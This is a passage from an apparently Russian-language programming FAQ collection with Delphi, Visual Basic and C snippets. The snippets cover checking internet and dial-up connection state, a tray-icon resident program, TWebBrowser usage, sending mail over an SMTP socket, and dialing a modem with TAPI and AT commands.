  Windows, SysUtils, Registry, WinSock, WinInet;
type
  TConnectionType = (ctNone, ctProxy, ctDialup);
function ConnectedToInternet : TConnectionType;
function RasConnectionCount : Integer;

implementation
//For RasConnectionCount =======================
const
  cERROR_BUFFER_TOO_SMALL = 603;
  cRAS_MaxEntryName       =  256;
  cRAS_MaxDeviceName      =  128;
  cRAS_MaxDeviceType      =  16;
type
  ERasError = class(Exception);
  HRASConn = DWord;
  PRASConn = ^TRASConn;
  TRASConn = record
     dwSize: DWORD;
     rasConn: HRASConn;
     szEntryName: Array[0..cRAS_MaxEntryName] Of Char;
     szDeviceType : Array[0..cRAS_MaxDeviceType] Of Char;
     szDeviceName : Array [0..cRAS_MaxDeviceName] of char;
  end;

  TRasEnumConnections =
      function (RASConn: PrasConn; { buffer to receive Connections data }
                var BufSize: DWord;    { size in bytes of buffer }
                var Connections: DWord { number of Connections written to buffer }
                ): LongInt; stdcall;
//End RasConnectionCount =======================

function ConnectedToInternet: TConnectionType;
var
  Reg       : TRegistry;
  bUseProxy : Boolean;
  UseProxy  : LongWord;
begin
  Result := ctNone;
  Reg := TRegistry.Create;
  with REG do
  try
    try
      RootKey := HKEY_CURRENT_USER;
      if OpenKey('\Software\Microsoft\Windows\CurrentVersion\Internet settings',False) then begin
        //I just try to read it, and trap an exception
        if GetDataType('ProxyEnable') = rdBinary then
          ReadBinaryData('ProxyEnable', UseProxy, SizeOf(LongWord) )
        else begin
          bUseProxy := ReadBool('ProxyEnable');
          if bUseProxy then
            UseProxy := 1
          else
            UseProxy := 0;
        end;
        if (UseProxy <> 0) and ( ReadString('ProxyServer') <> '' ) then Result := ctProxy;
      end;
    except
      //Obviously not connected through a proxy
    end;
  finally
    Free;
  end;
  //We can check RasConnectionCount even if dialup networking is not installed
  //simply because it will return 0 if the DLL is not found.
  if Result = ctNone then begin
    if RasConnectionCount > 0 then Result := ctDialup;
  end;
end;
function RasConnectionCount : Integer;
var
  RasDLL    : HInst;
  Conns     : Array[1..4] of TRasConn;
  RasEnums  : TRasEnumConnections;
  BufSize   : DWord;
  NumConns  : DWord;
  RasResult : Longint;
begin
  Result := 0;
  //Load the RAS DLL
  RasDLL := LoadLibrary('rasapi32.dll');
  if RasDLL = 0 then exit;
  try
    RasEnums := GetProcAddress(RasDLL,'RasEnumConnectionsA');
    if @RasEnums = nil then
      raise ERasError.Create('RasEnumConnectionsA not found in rasapi32.dll');
    Conns[1].dwSize := Sizeof (Conns[1]);
    BufSize := SizeOf(Conns);
    RasResult := RasEnums(@Conns, BufSize, NumConns);
    If (RasResult = 0) or (Result = cERROR_BUFFER_TOO_SMALL) then Result := NumConns;
  finally
    FreeLibrary(RasDLL);
  end;
end;


=== 2 ===
Информация о том, есть ли в данный момент соединение с Интернетом, лежит в реестре. Если каждую секунду считывать это
значение, то можно определить, когда соединение было установлено и разорвано. При этом чтение их реестра не будет сильно
загружать компьютер - весь HKEY_LOCAL_MACHINE лежит в памяти и обращение к диску не понадобится. Естественно, здесь
опять понадобится резидентная программа.

Для работы с реестром здесь используются непосредственно функции WinAPI. Это позволяет сэкономить память и ускорить
проверку соединения. При изменении соединения вызывается процедура InetConnectionChange. Таким образом, чтобы изменить
действия программы, достаточно переписать эту процедуру. Эта программа при соединении с Интернетом создает tray. В его меню
включены пункты открыть страницу http://program.dax.ru и послать письмо на program@dax.ru с темой subscribe. При выходе из
Интернета tray исчезае

program Project1;
uses
  Windows,
  ShellAPI,
  Messages;

const
  ClassName = 'MyResident'; // Имя класса
  WM_NOTIFYTRAYICON = WM_USER + 1; { Это сообщение будет
                      генерироваться при событиях с tray }
var
  menu: hMenu = 0; // Всплывающее меню
  mywnd: hWnd; // Окно программы
  reg: HKEY;
  connection: longint;

// Создание всплывающего меню:
function CreateMyMenu: hMenu;
begin
  result := CreatePopupMenu;
  if result = 0 then Exit;
  AppendMenu(result, MF_STRING, 0, 'site');
  AppendMenu(result, MF_STRING, 1, 'letter');
  AppendMenu(result, MF_SEPARATOR, 2, nil);
  AppendMenu(result, MF_STRING, 3, 'Exit');
end;

// Создание Tray:
procedure CreateTray;
var
  tray: TNotifyIconData;
begin
  with tray do begin
    cbSize := sizeof(TNotifyIconData);
    wnd := mywnd;
    uID := 0;
    uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
    uCallBackMessage := WM_NOTIFYTRAYICON;
    hIcon := LoadIcon(0, IDI_ASTERISK);
    szTip := ('My Resident');
  end;
  Shell_NotifyIcon(NIM_ADD, @tray);
end;

// Удаление tray:
procedure DeleteTray;
var
  tray: TNotifyIconData;
begin
  with tray do begin
    cbSize := sizeof(TNotifyIconData);
    wnd := mywnd;
    uID := 0;
  end;
  Shell_NotifyIcon(NIM_DELETE, @tray);
end;

// Изменение соединения
procedure InetConnectionChange(connecting: boolean);
begin
  if connecting then begin
    CreateTray; // Создание tray
    menu := CreateMyMenu; // Создание муню
  end else begin
    DestroyMenu(menu); // удалить мнею
    DeleteTray; // удалить tray
    menu := 0;
  end;
end;

// Главная оконная процедура:
function MyWndProc(wnd: hWnd; msg, wParam,
  lParam: longint): longint; stdcall;
var
  p: TPoint;
  DataType, DataSize: cardinal;
begin
  case msg of
    WM_TIMER: begin
      // проверка соединения:
      DataSize := 4;
      if RegQueryValueEx(reg, 'Remote Connection', nil, @DataType,
        @connection, @DataSize) <> ERROR_SUCCESS then MessageBeep(0);
      if (connection = 0) <> (menu = 0) then
        InetConnectionChange(connection > 0);
      result := 0;
    end;
    WM_NOTIFYTRAYICON: begin // Событие tray
      // Если нажата правая кнопка, показать меню:
      if lparam = WM_RBUTTONUP then begin
        SetForegroundWindow(mywnd);
        GetCursorPos(p);
        TrackPopupMenu(menu, TPM_LEFTALIGN, p.x, p.x, 0, wnd, nil);
      end;
      result := 0;
    end;
    WM_COMMAND: begin // Выбран пункт меню
      { В зависимости от выбранного пункта меню открывается
        program.dax.ru в браузере или создается письмо или
        закрывается программа: }
      case loword(wparam) of
        0: ShellExecute(hinstance, nil, 'http://program.dax.ru/',
          nil, nil, SW_SHOWNORMAL);
        1: ShellExecute(hinstance, nil,
          'mailto:program@dax.ru?subject=subscribe',
          nil, nil, SW_SHOWNORMAL);
        else SendMessage(mywnd, WM_CLOSE, 0, 0);
      end;
      result := 0;
    end;
    WM_DESTROY: begin // Закрытие программы
      DeleteTray; // Удаление Tray
      PostQuitMessage(0);
      result := 0;
    end;
    else result := DefWindowProc(wnd, msg, WParam, LParam);
  end;
end;

// Создание окна:
function CreateMyWnd: hWnd;
var
  wc: WndClass;
begin
  // Регистрация класса:
  wc.style := CS_HREDRAW or CS_VREDRAW;
  wc.lpfnWndProc := @MyWndProc;
  wc.cbClsExtra := 0;
  wc.cbWndExtra := 0;
  wc.hInstance := hInstance;
  wc.hIcon := LoadIcon(hinstance, IDI_ASTERISK);
  wc.hCursor := LoadCursor(hinstance, IDC_ARROW);
  wc.hbrBackground := COLOR_INACTIVECAPTION;
  wc.lpszMenuName := nil;
  wc.lpszClassName := ClassName;
  if RegisterClass(wc) = 0 then halt(0);
  // Создание окна:
  result := CreateWindowEx(WS_EX_APPWINDOW, ClassName,
    'My Window', WS_POPUP, 100, 100, 200, 200, 0, 0, hInstance, nil);
  if result = 0 then halt(0);
end;

var msg: TMsg;
begin
  mywnd := CreateMyWnd; // Создание окна
  // Установка низкого приоритета:
  SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_IDLE);
  if RegOpenKeyEx(HKEY_LOCAL_MACHINE,
    'System\CurrentControlSet\Services\RemoteAccess', 0,
    KEY_NOTIFY, reg) <> ERROR_SUCCESS then halt(0);
  SetTimer(mywnd, 0, 1000, nil); // Создание таймера
  // Распределение сообщений:
  while (GetMessage(msg, 0, 0, 0)) do begin
    TranslateMessage(msg);
    DispatchMessage(msg);
  end;
  KillTimer(mywnd, 0); // Удаление таймера
  RegCloseKey(reg); // Закрытие раздела реестра
end.

К заголовку




Как проверить соединение с интернетом?
Часто приложению, которое работает в интернете, требуется знать, подключён пользователь к интернету или нет. Предлагаю Вам
довольно гибкое решение этого вопроса.
Совместимость: Delphi 3.x (или выше)
Для работы Вам необходимо импортировать функцию InetIsOffline из URL.DLL:
function InetIsOffline(Flag: Integer): Boolean; stdcall; external 'URL.DLL';
а затем поместить в программу простой вызов функции для проверки статуса соединения:
if InetIsOffline(0) then
   ShowMessage('This computer is not connected to Internet!')
else
   ShowMessage(You are connected to Internet!');
Эта функция возвращает TRUE если соединение с интернетов отсутствует, или FALSE если соединение установлено.
Замечание:
параметр Flag игнорируется, соответственно используем ноль.
Эта DLL обычно проинсталлирована на большинстве компьютеров. Она также существует в Win98 либо поставляется с Internet
Explorer 4 или выше, Office 97 и т.д..
Более подробно можно прочитать в MSDN.
Оригинал: http://msdn.microsoft.com/library/psdk/shellcc/shell/Functions/InetIsOffline.htm
Автор: Vitaly Zayko (zayko@vitsoftware.com)
Источник: http://www.sources.ru/delphi/


Комментарий от Ефремова Александра (aleks@vilgus.kamchatka.ru)
Зашел на официальный сайт Microsoft по MSDN где черным по белому написано, что функция эта выдает false не только, когда комп
подключен к
интернету, но и когда ЕЩЕ НЕ БЫЛО ПОПЫТОК подключения (or if no attempt has yet been made to connect to the Internet). Ну и
скажите мне теперь, какой у этой функции тогда смысл ? Да, умом Microsoft не
понять (к сожалению). Помогите найти нормальный способ проверки подключения к инет (online).


Merlin: самым нормальны, мне кажется, пинговать какой-то адрес в интернете, лучше два :) но это тоже связано с проблемой, что
может запускаться установка связи, когда не надо.
Комментарий от Dmitry Shkil (Mitya@bigmir.net) ShkilSoft
interface
uses
  Windows;
{ Flags for InternetGetConnectedState }
const
  INTERNET_CONNECTION_MODEM      = 1;
  INTERNET_CONNECTION_LAN        = 2;
  INTERNET_CONNECTION_PROXY      = 4;
  INTERNET_CONNECTION_MODEM_BUSY = 8;
const
  winetdll = 'wininet.dll';
function InternetGetConnectedState(lpdwFlags: LPDWORD; dwReserved:
DWORD):BOOL; stdcall; external winetdll name 'InternetGetConnectedState';
implementation
function InternetConnected: Boolean;
var
  dwConnectionTypes: DWORD;
begin
  dwConnectionTypes :=
    INTERNET_CONNECTION_MODEM +
    INTERNET_CONNECTION_LAN +
    INTERNET_CONNECTION_PROXY;
  Result := InternetGetConnectedState(@dwConnectionTypes, 0);
end;


Хотя возможно через RAS API. Компоненты можно поискать на www.torry.net
Kondakov (owl@conecs.lviv.ua)
Я попробовал это на основе предложения Dmitriya Работает вроде. . Через Button  or Activate
unit Unit1;
interface
uses
 Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;
const IC_Modem=1;
IC_LAN= 2;
IC_PROXY=3;
IC_MODEM_BUSY=4;
winetdll='wininet.dll';
type
TForm1 = class(TForm)
 Button1: TButton;
 procedure CheckState(Sender: TObject);
end;
var
 Form1: TForm1;
implementation
function InternetGetConnectedState(lpdwFlags:LPDWORD; dwReserved: DWORD): BOOLEAN; stdcall; external winetdll name
'InternetGetConnectedState';
{$R *.DFM}
procedure TForm1.CheckState(Sender: TObject);
var dwConnectionTypes: DWORD;
begin
 dwConnectionTypes:=IC_MODEM+IC_LAN+IC_PROXY;
 if InternetGetConnectedState(@dwConnectionTypes,0) then ShowMessage('Youa connected')
 else ShowMessage('No Connection');
end;
end.


Комментарий от "Vladimir Artemov"
Из MSDN:
You cannot rely solely on the fact that InternetGetConnectedState returning TRUE means that you have a valid active Internet
connection. It is impossible for InternetGetConnectedState to determine if the entire connection to the Internet is functioning
without sending a request to a server. This is why you need to send a request to determine if you are really connected or not.
You can be assured however that if InternetGetConnectedState returns TRUE, that attempting your connection will NOT cause you
to be prompted to connect to the default Internet Service Provider.
Ну не получится таким образом ДОСТОВЕРНО проверить! Надо либо подключаться, либо пинговать.

К заголовку




Как сделать WebBrowser средствами Delphi 5
Читая и перечитывая вопросы и ответы на Круглом столе сайта Королевство Дельфи я все время натыкался на вопросы о компоненте
TWebBrowser.
  Сначала я думал, что все просто, но когда самому понадобилось написать приложение с использованием TwebBrowser… оказалось,
что не все так просто!
Эта  статья  не  претендует  на  исчерпывающие руководство  по написанию  браузера  в  Delphi 5 - скорее  всего  она будет  со
временем  дополняться  и  исправляться. Я  постарался  обобщить  в  одном  работающем  примере  решения большинства  вопросов,
заданных  на  этом  сайте (признаюсь, там  были  и  мои). Также  выражаю  большую признательность  Елене  Филлиповой  за
исчерпывающие  ответы  на  некоторые  из  них, и  всему  Королевству  за  столь хороший  и  полезный  сайт.
Компонент TWebBrowser в Delphi 4 нужно было специально инсталлировать как Active X компонент.
  В 5-й версии нам пошли навстречу, и он сразу есть на вкладке Internet.
  Не буду останавливаться на особенностях интерфейса программы - он очень прост  (надеюсь, не очень) и не вызовет трудностей.

Рассмотрим  некоторые  свойства и функции TwebBrowser.
procedure GoBack;
procedure GoForward;
procedure GoHome;
procedure GoSearch;
procedure Refresh;
procedure Stop;
procedure Quit;

Названия  этих  процедур говорят  сами  за  себя, а  позволяют  они  осуществить  управление просмотром - перейти по истории
просмотра вперед, назад, перейти на страницу, установленную как домашняя, открыть страницу поиска, обновить текущую
страницу, остановить загрузку страницы, выйти.
Последняя  команда  самая  интересная - в Help написано, что использовать  ее  не надо. Она завершает работу IE и очищает окно. Но
 я проверял - вроде  вреда  от  ее  использования не наблюдалось.

Далее  идет  целая  группа  процедур:
procedure Navigate(const URL: WideString); overload;
procedure Navigate(const URL: WideString; var Flags: OleVariant); overload;
procedure Navigate(const URL: WideString; var Flags: OleVariant; var
TargetFrameName: OleVariant); overload;
procedure Navigate(const URL: WideString; var Flags: OleVariant;
var TargetFrameName: OleVariant; var PostData: OleVariant); overload;
procedure Navigate(const URL: WideString; var Flags: OleVariant;
var TargetFrameName: OleVariant; var PostData: OleVariant;
var Headers: OleVariant); overload;
Все  они  предназначены  для  указания  того, какая и  как страница  должна отображаться  в  браузере. В  простейшем  случае  можно
использовать  первую  процедуру
procedure Navigate(const URL: WideString);
Например так:
WebBrowser1.Navigate(' http://delphi.vitpc.com/');
Или
WebBrowser1.Navigate(' http://delphi.vitpc.com/',empty,empty,empty,empty)

Для значения Flag определены такие константы:
navOpenInNewWindow        1        Открывает URL в новом  окне браузера
navNoHistory 2 Не заносит адрес в список History.
navNoReadFromCache        4        Не использует сохраненную в кеше страницу, а загружает с сервера.
navNoWriteToCache        8        Не записывает  страницу  в  дисковый  кеш.
navAllowAutosearch                   16        Если броузер не может найти указанный  домен, он передает его в поисковый механизм.
Все, это можно  также вручную установить  в  настройках  браузера.
TargetFrameName указывает  имя  фрейма, куда  надо  загрузить  страницу. Если  присвоить  NULL страница  просто  загрузиться в
текущее  окно.
PostData - указывает  на  данные, которые нужно отослать, используя  метод  HTTP POST. Если  установить  в  NULL, процедура
Navigate будет  использовать  метод  HTTP GET.
Следующая довольно  интересная  и  полезная  процедура
procedure ExecWB(cmdID: OLECMDID; cmdexecopt: OLECMDEXECOPT); overload;
Позволяет  осуществить  управление  браузером  и  вызывать различные  дополнительные функции - печать, сохранение и др.
Использует IoleCommandTarget интерфейс для  управления браузером.
CmdID - задает  команду, которую нужно выполнить. Может принимать следующие  значения:
OLECMDID_OPEN,
OLECMDID_NEW,
OLECMDID_SAVE,
OLECMDID_SAVEAS,
OLECMDID_SAVECOPYAS,
OLECMDID_PRINT,
OLECMDID_PRINTPREVIEW,
OLECMDID_PAGESETUP,
OLECMDID_SPELL,
OLECMDID_PROPERTIES,
OLECMDID_CUT,
OLECMDID_COPY,
OLECMDID_PASTE,
OLECMDID_PASTESPECIAL,
OLECMDID_UNDO,
OLECMDID_REDO,
OLECMDID_SELECTALL,
OLECMDID_CLEARSELECTION,
OLECMDID_ZOOM,
OLECMDID_GETZOOMRANGE,
OLECMDID_UPDATECOMMANDS,
OLECMDID_REFRESH,
OLECMDID_STOP,
OLECMDID_HIDETOOLBARS,
OLECMDID_SETPROGRESSMAX        ,
OLECMDID_SETPROGRESSPOS,
OLECMDID_SETPROGRESSTEXT,
OLECMDID_SETTITLE,
OLECMDID_SETDOWNLOADSTATE,
OLECMDID_STOPDOWNLOAD,
OLECMDID_FIND,
OLECMDID_ONTOOLBARACTIVATED,
OLECMDID_DELETE,
OLECMDID_HTTPEQUIV,
OLECMDID_ENABLE_INTERACTION,
OLECMDID_HTTPEQUIV_DONE,
OLECMDID_ONUNLOAD,
OLECMDID_PROPERTYBAG2,
OLECMDID_PREREFRESH
Если присмотреться, то можно  увидеть, что некоторые  из  них дублируються  процедурами  Stop, Refresh и др. Но  большенство
очень даже нужные.
Cmdexecopt - указывает дополнительно, как команда  должна исполняться. Может принимать  значения:
OLECMDEXECOPT_DODEFAULT        0        Команда  исполняеться  так, как принято по умолчанию.
OLECMDEXECOPT_PROMPTUSER        1        Перед выполнением  выводиться  окно  диалога  или  дополнительных  настроек.
OLECMDEXECOPT_DONTPROMPTUSER        2  Не задаеться  никаких  вопросов.
OLECMDEXECOPT_SHOWHELP        3        Выводиться  справка  по  запрошеному  действии, но сама  команда  не
выполняеться. Удобно для вызова из  вашего приложения справки  по  IE.
Вызивать  эту  комманду  желательно и даже нужно   в  блоке
try
WebBrowser1.ExecWB(OLECMDID_PRINT, OLECMDEXECOPT_PROMPTUSER);
except
end;
Эта  команда  вызивает диалоговое  окно  печати  документа. Если  же  опустить try…except, то при нажатии  "Отмена"  в  этом  окне
 будет сгенерировано уведомление  об  ошибке типа:
raised exception class EOleException with message "Невозможно установить свойство coISpan. Недопустимое значения свойства.
Требуется ввести значение от 1 до 1000".
Теперь  поговорим  о  свойствах.
PopupMenu;  Как  оконный  элемент  управления, TwebBrowser поддерживает всплывающие  меню. НО! Ваше  меню  будет  появляться
только  пока  в  браузер  не  загружена  страница. Дальше - только  меню IE.
В  Конференции  предложили  такой  вариант для запрета появления стандартного меню
...
 private
  { Private declarations }
 procedure WMMouseActivate(var Msg: TMessage); message WM_MOUSEACTIVATE;
 public
  { Public declarations }
 end;
...
...
procedure TForm1.WMMouseActivate(var Msg: TMessage);
begin
  try
    inherited;
    //правая кнопка мышки ?
    if Msg.LParamHi = 516 then
       Msg.Result:= MA_NOACTIVATEANDEAT;
    // Тут  можно  вставить  код  для показания своего меню
  except
  end;
end;
property OffLine : WordBool; Позволяет  загружать документы  из  локального  кеша - если присвоить True.
property LocationURL: WideString; Позначено  как  "только  для  чтения"  и  содержит  URL ресурса, загруженого  в  браузер.
Теперь  события.
Среди  самых  важных/нужных есть:
OnDownloadBegin
OnDownloadComplete
OnBeforeNavigate2
OnNewWindow2
OnNavigateComplete2
OnDocumentComplete
OnDownloadBegin - происходит, когда  вы, наберя URL, хотите  перейти по нему. Тут  можно  задать  например  анимацию  или
ProgressBar для индикации  процесса  загрузки страницы ( совмесно с OnProgressChange).
OnDownloadComplete, OnDownloadComplete, OnNavigateComplete2 - происходит, когда страница  закончила  грузиться.
Правда, здесь  есть  много  нюансов  при  загрузке  страниц  с  графикой  и  фреймами - для  каждого  загружаемого  элемента  будут
генерироваться новые события начала/окончания  загрузки, а кроме того, если отключить загрузку рисунков/анимации/видео, так
вообще  некоторые  из  них  не  будут  происходить! Так что пользоваться  ими  нужно осторожно.
OnBeforeNavigate2 - происходит  когда вы  переходите  по  щелчку на гиперссылке  из  основной  страницы, загруженной  в  браузер.
Сюда можно  писать  код, который  например, анализирует - куда пользователь переходит, и соответственно, что-то делать. Или
запретить открывание новых  окно, или открывать свои окна (типа сделать TtabbedNotebook c IE на  каждой  странице)
OnNewWindow2 - происходит, когда  открывается новое  окно  браузера.
Я, конечно, много  чего  упустил - например,  работу  с  интерфейсами, доступ  к  тегам  страницы - но надеюсь, эта  статья  и
пример помогут  вам  сделать работоспособный  браузер  для  дальнейших  эксперементов. Успехов!
К заголовку




Послать по E-mail при помощи API?
#define SMTP_PORT 25 //порт почтового сервера
#define SMTP_ADDR "128.1.1.1" //Айпишник почтового сервера

int rc;
WSADATA WSAData;

rc = WSAStartup(MAKEWORD(1, 1), &WSAData);
if(rc != 0) return FALSE;

SOCKET nSMTPServerSocket;
struct sockaddr_in smtp_address;
int nConnect;
int iLength;
int iMsg = 0;
int iEnd = 0;
BYTE sBuf[4096];

char *MailMessage[] =
{
"HELO domain.ru\r\n",
"MAIL FROM:<",
"RCPT TO:\r\n",
"DATA\r\n",
"",
"QUIT\r\n",
NULL
};

lstrcat(MailMessage[1], "purpe@sources.ru>\r\n");
lstrcat(MailMessage[4],"Hello world\r\n\r\n.\r\n");

nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0);

if(nSMTPServerSocket != INVALID_SOCKET) {
smtp_address.sin_family = AF_INET;
smtp_address.sin_addr.s_addr = inet_addr(SMTP_ADDR);
smtp_address.sin_port = htons(SMTP_PORT);

nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address, sizeof(smtp_address));

if(nConnect) { }
else {
do {
iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0);
iEnd += iLength;
sBuf[iEnd] = '\0';
send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0);
iMsg++;
} while(MailMessage[iMsg]);
}

closesocket(nSMTPServerSocket);
}
К заголовку




Произошло ли подключение к интернету
Как сделать, что бы отслеживалось, не произошло ли подключение к интернету, а если произошло, то чтобы запускался .bat-файл

Private Declare Function RasEnumConnections Lib "RasApi32.dll" Alias
"RasEnumConnectionsA" (lpRasCon As Any, lpcb As Long, lpcConnections As
Long) As Long
Private Declare Function RasGetConnectStatus Lib "RasApi32.dll" Alias
"RasGetConnectStatusA" (ByVal hRasCon As Long, lpStatus As Any) As Long
Private Const RAS95_MaxEntryName = 256
Private Const RAS95_MaxDeviceType = 16
Private Const RAS95_MaxDeviceName = 32
Private Type RASCONN95
dwSize As Long
hRasCon As Long
szEntryName(RAS95_MaxEntryName) As Byte
szDeviceType(RAS95_MaxDeviceType) As Byte
szDeviceName(RAS95_MaxDeviceName) As Byte
End Type
Private Type RASCONNSTATUS95
dwSize As Long
RasConnState As Long
dwError As Long
szDeviceType(RAS95_MaxDeviceType) As Byte
szDeviceName(RAS95_MaxDeviceName) As Byte
End Type
Private Sub Form_Load()
Timer1.Interval = 1000
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
If IsConnected() = True Then
'отключите таймер, если он больше не нужен, или хотя бы приостановите
его
Timer1.Enabled = False
'здесь нужно запустить ваш bat-файл
'Не забудьте указать правильную ссылку
Call Shell("ПутьКВашемуБатнику", vbHide)
'и если нужно, снова запустите таймер, сняв маркер со следующей строчки
'Timer1.Enabled = True
End If
End Sub
Public Function IsConnected() As Boolean
Dim TRasCon(255) As RASCONN95
Dim lg As Long
Dim lpcon As Long
Dim RetVal As Long
Dim Tstatus As RASCONNSTATUS95
TRasCon(0).dwSize = 412
lg = 256 * TRasCon(0).dwSize
RetVal = RasEnumConnections(TRasCon(0), lg, lpcon)
Tstatus.dwSize = 160
RetVal = RasGetConnectStatus(TRasCon(0).hRasCon, Tstatus)
If Tstatus.RasConnState = &H2000 Then
IsConnected = True
Else
IsConnected = False
End If
К заголовку




Как набрать номер по модему.
=== 1 ===
Голосовой звонок (TAPI)

До слова implementation напишите такой код:

{tapi Errors}
const TAPIERR_CONNECTED = 0;
const TAPIERR_DROPPED = -1;
const TAPIERR_NOREQUESTRECIPIENT = -2;
const TAPIERR_REQUESTQUEUEFULL = -3;
const TAPIERR_INVALDESTADDRESS = -4;
const TAPIERR_INVALWINDOWHANDLE = -5;
const TAPIERR_INVALDEVICECLASS = -6;
const TAPIERR_INVALDEVICEID = -7;
const TAPIERR_DEVICECLASSUNAVAIL = -8;
const TAPIERR_DEVICEIDUNAVAIL = -9;
const TAPIERR_DEVICEINUSE = -10;
const TAPIERR_DESTBUSY = -11;
const TAPIERR_DESTNOANSWER = -12;
const TAPIERR_DESTUNAVAIL = -13;
const TAPIERR_UNKNOWNWINHANDLE = -14;
const TAPIERR_UNKNOWNREQUESTID = -15;
const TAPIERR_REQUESTFAILED = -16;
const TAPIERR_REQUESTCANCELLED = -17;
const TAPIERR_INVALPOINTER = -18;

{tapi size constants}
const TAPIMAXDESTADDRESSSIZE = 80;
const TAPIMAXAPPNAMESIZE = 40;
const TAPIMAXCALLEDPARTYSIZE = 40;
const TAPIMAXCOMMENTSIZE = 80;
const TAPIMAXDEVICECLASSSIZE = 40;
const TAPIMAXDEVICEIDSIZE = 40;

function tapiRequestMakeCallA(DestAddress : PAnsiChar;
AppName : PAnsiChar;
CalledParty : PAnsiChar;
Comment : PAnsiChar) : LongInt;
stdcall; external 'TAPI32.DLL';

function tapiRequestMakeCallW(DestAddress : PWideChar;
AppName : PWideChar;
CalledParty : PWideChar;
Comment : PWideChar) : LongInt;
stdcall; external 'TAPI32.DLL';

function tapiRequestMakeCall(DestAddress : PChar;
AppName : PChar;
CalledParty : PChar;
Comment : PChar) : LongInt;
stdcall; external 'TAPI32.DLL';

Нажатие кнопки обработайте следующим образом:

procedure TForm1.Button1Click(Sender: TObject);
var
DestAddress : string;
CalledParty : string;
Comment : string;
begin
DestAddress :={phone number}'545-17-26';
CalledParty := '___Nikolay';
Comment := 'Calling to ___Nikolay';
tapiRequestMakeCall(pChar(DestAddress),
PChar(Application.Title),
pChar(CalledParty),
PChar(Comment));
end;

Автор ___Nikolay
по всем вопросам обращайтесь на bestprogramming@mail.ru

=== 2 ===
Используйте функцию Windows API CreateFile() чтобы получить дескриптор порта, и стандартные функции
ввода-вывода для связи с полученным портом.
Пример:

     var
       hCommFile : THandle;
     procedure TForm1.Button1Click(Sender: TObject);
     var
       PhoneNumber : string;
       CommPort : string;
       NumberWritten : LongInt;
     begin
       PhoneNumber := 'ATDT 1-555-555-1212' + #13 + #10;
       CommPort := 'COM2';
К заголовку




Как определеить состояние модема под Win32
procedure TForm1.Button2Click(Sender: TObject);
var
CommPort : string;
hCommFile : THandle;
ModemStat : DWord;
begin
CommPort := 'COM2';

{Open the comm port}
hCommFile := CreateFile(PChar(CommPort),
GENERIC_READ,
0,
nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if hCommFile = INVALID_HANDLE_VALUE then
begin
ShowMessage('Unable to open '+ CommPort);
exit;
end;

{Get the Modem Status}
if GetCommModemStatus(hCommFile, ModemStat) <> false then begin
if ModemStat and MS_CTS_ON <> 0 then
ShowMessage('The CTS (clear-to-send) is on.');
if ModemStat and MS_DSR_ON <> 0 then
ShowMessage('The DSR (data-set-ready) is on.');
if ModemStat and MS_RING_ON <> 0then
ShowMessage('The ring indicator is on.');
if ModemStat and MS_RLSD_ON <> 0 then
ShowMessage('The RLSD (receive-line-signal-detect) is on.');
end;

{Close the comm port}
CloseHandle(hCommFile);
end;
К заголовку




Функции набора номера модема
var
hCommFile : THandle;

procedure TForm1.Button1Click(Sender: TObject);
var
PhoneNumber : string;
CommPort : string;
NumberWritten : LongInt;
begin
PhoneNumber := 'ATDT 1-555-555-1212' + #13 + #10;
CommPort := 'COM2';
{Open the comm port}
hCommFile := CreateFile(PChar(CommPort),
GENERIC_WRITE,
0,
nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if hCommFile=INVALID_HANDLE_VALUE then
begin
ShowMessage('Unable to open '+ CommPort);
exit;
end;
NumberWritten:=0;
if WriteFile(hCommFile,
PChar(PhoneNumber)^,
Length(PhoneNumber),
NumberWritten,
nil) = false then begin
ShowMessage('Unable to write to ' + CommPort);
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
{Close the port}
CloseHandle(hCommFile);
end;

А теперь теория

[AT-КОМАНДЫ МОДЕМА]:

A Команда ответа (Answer Command)
Bn Настройка связи (Communications Options)
D Команда набора (Dial Command)
En Команда выбора символа эха (Select Command Character Echo
Option)
Hn Управление Switchhook - эмуляция нажатия телефонного рычага
(Control The Switchhook)
I0 Идентификация кода продукта (Identify The Product Code)
I2 Выполнение теста контрольной суммы ROM ( Perform ROM Checksum
Test)
Ln Выбор уровня громкости динамика (Select Speaker Volume Level)
Mn Функция выбора опций динамика (Select Speaker Function Option)
Nn Выбор опций для установления связи (Select Negotiate Handshake
Option)
On Переход к онлайновым командам (Go Online Command)
P Выбор метода пульсового набора (Select Pulse Dialing Method)
Qn Выбор опции результирующего кода (Select Result Code Option)
Sn= Запись в S-регистр (Write To An S-Register)
Sn? Чтение S-регистра (Read An S-Register)
T Выбор метода тонового набора (Select Tone Dialing Method)
Vn Выбор опции формата ответа (Select Response Format Option)
Wn Выбор расширенного результирующего кода (Select Extended Result
Code)
Xn Выбор опции модемного вызова (Select Call Progress Option)
Yn Выбор опции бездействия для разъединения (Select Long Space
Disconnect Option)
Zn Выполнение мягкого сброса (Perform Soft Reset)
&An Выбор роли автоответчика (Select Originate/Answer Role For
Autoanswer)
&Cn Выбор опции определения передаваемых данных (Select Data
Carrier Detect Option)
&Dn Выбор опции готовности терминала данных (Select Data Terminal
Ready Option)
&F Загрузка заводских установок (Load Factory Default Profile)
&Gn Выбор опции защиты тонового набора (Select Guard Tone Option)
&Kn Выбор опций потока ConTDol (Select Flow ConTDol Option)
&Pn Выбор параметров пульсового набора (Select Pulse Dialing
Parameters)
&Qn Выбор опций режима связи (Select Communications Mode Option)
&Rn Выбор опций RTS/CTS (Select RTS/CTS Option)
&Sn Выбор опций готовности передачи данных (Select Data Set Ready
Option)
&T0 Тест завершения в процессе (Terminate Test In Process)
&T1 Инициирование локального аналога сетевой петли (Initiate Local
Analog Loopback)
&T3 Выполнение локальной цифровой сетевой петли (Perform Local
Digital Loopback)
&T4 Включение предоставления RDL-запросов (Enable Granting Of RDL
Requests)
&T5 Запрет предоставления RDL-запросов (Deny Granting Of RDL
Requests)
&T6 Инициирование удаленной цифровой сетевой петли (Initiate
